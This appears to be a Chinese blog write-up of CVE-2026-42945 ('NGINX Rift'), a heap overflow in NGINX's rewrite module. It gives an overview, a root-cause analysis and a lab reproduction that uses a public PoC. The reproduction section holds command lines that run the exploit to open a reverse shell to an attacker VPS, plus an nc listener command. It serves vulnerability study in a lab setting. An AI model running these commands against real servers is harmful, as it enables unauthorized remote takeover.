加载中

等一下,英子马上到

|

一、漏洞介绍

漏洞概况

项目

内容

CVE 编号

CVE-2026-42945

漏洞代号

NGINX Rift

CVSS 评分

9.2(Critical)

漏洞类型

堆缓冲区溢出(Heap Buffer Overflow)

影响模块

ngx_http_rewrite_module

引入时间

2008年(版本0.6.27)

发现者

depthfirst 安全研究团队

受影响版本

0.6.27 ~ 1.30.0(全版本覆盖)

关联漏洞

除 CVE-2026-42945 外,本次还披露了另外两个漏洞:

编号

评分

说明

CVE-2026-42946

8.3(High)

关联的缓冲区处理漏洞

CVE-2026-40701

6.3(Medium)

低危信息泄露风险

影响规模

  • • NGINX 占全球 Web 服务器市场的 37.2%

  • • 受影响网站/API 网关超过 1.3亿个

  • • 影响所有主流 Linux 发行版(DebianUbuntuCentOS、RHEL 等)

  • • 所有使用 NGINX 作为反向代理、负载均衡、API 网关、静态文件服务器的场景均受影响

利用场景

攻击者无需身份认证,只需向目标 NGINX 服务器发送一个精心构造的 HTTP 请求,即可:

  1. 1. 拒绝服务(DoS) — 触发 worker 进程崩溃,导致服务不可用

  2. 2. 信息泄露 — 通过堆溢出读取内存中的敏感数据

  3. 3. 远程代码执行(RCE) — 在特定配置和系统环境下实现任意代码执行,完全控制服务器

二、原理分析

漏洞本质

CVE-2026-42945 的根源在于 ngx_http_rewrite_module 重写模块中一个极其隐蔽的逻辑错误——内部标志位管理错误。具体来说,漏洞位于 ngx_http_script_regex_replace 函数(文件:src/http/ngx_http_script.c)。

核心缺陷:is_args 标志位失控

NGINX 在处理 rewrite 规则时,使用一个叫做 is_args 的内部标志位来标记 URI 中是否包含查询参数(问号 ? 后的部分)。这个标志位会在遇到问号时被设置为 1

问题出在以下环节:

当 rewrite 替换串中包含 ? 符号时:

  1. 1. 第一遍扫描:计算目标缓冲区所需长度。此时 is_args=1,会额外加上 args 的长度

  2. 2. 分配内存:按计算出的长度分配堆内存

  3. 3. 第二遍扫描:实际拷贝数据。此时 is_args仍然为 1,但实际拷贝时 并没有拷贝 args 的内容

这就导致了一个经典的漏洞模式:分配的长度 > 实际写入的长度 + 后续操作,为堆缓冲区溢出创造了条件。

完整触发流程

漏洞触发流程客户端发送含特殊URI的HTTP请求NGINX匹配第一条rewrite规则替换串包含 '?' 且使用 1/2 捕获组否·正常处理无漏洞是·is_args = 1计算缓冲区长度(含args大小)分配堆内存 (len + args_len + 1)实际拷贝数据(未包含args内容)紧随其后有第二条rewrite/if/set指令否·正常结束无溢出是·is_args未被重置仍为1处理第二条指令再次使用错误is_args长度计算再次出错·堆缓冲区溢出覆写内存池指针·DoS或RCE

三、漏洞复现

接下来,我们利用大佬项目,然后对大佬的项目稍微进行一点点修改

https://github.com/cipherspy/CVE-2026-42945-POC

修改内容

nginx_rift_htb.py — L387-L395

移除了自动启动 listener 的逻辑(threading.Thread 调用 start_listener 以及随后的 time.sleep(2) 等待),改为交互式提示:

[+] Reverse shell: <LHOST>:<LPORT>
[*] Make sure you have a listener running on the LHOST machine:
[*]   nc -lvnp <LPORT>
[*] Press Enter when listener is ready...

CHEATSHEET.sh — L115-L117

同步调整注释,明确"先启动 listener → 再运行 exploit → 按 Enter 继续"的流程

原因

脚本 start_listener() 逻辑写死在本机启动监听器,而你的 Windows 上没有 nc,于是降级 Python listener 监听本机 0.0.0.0:4444。但 payload 让目标连的是yourvps:4444(远程服务器),两个 listener 各管各的,本机的永远收不到连接。

攻击流程如下

1. 检查目标是否处于脆弱状态

python3 nginx_rift_htb.py --target 10.10.11.x --check-only

这将:

  • 检测NGINX是否在运行

  • 试着辨认出具体版本

  • 检查端点/api/

  • 如果目标看起来有漏洞,请报告

2. 侦察(推荐)

python3 nginx_rift_helper.py --target 10.10.11.x --all

该方法执行:

  • NGINX指纹识别

  • 版本检测

  • 端点发现

  • 信息泄漏检测

  • 行为分析

3. 运行漏洞

执行命令:

python nginx_rift_htb.py --target 10.10.10.X --shell --lhost yourvps --lport 4444 --verbose

此时需要你按下enter,但是前提是你在自己的vps上启动了nc监听。

到这里就算是利用成功了。接下来就是你在nc去干活了

修复方法

看我之前的文章即可

评论交流

文章目录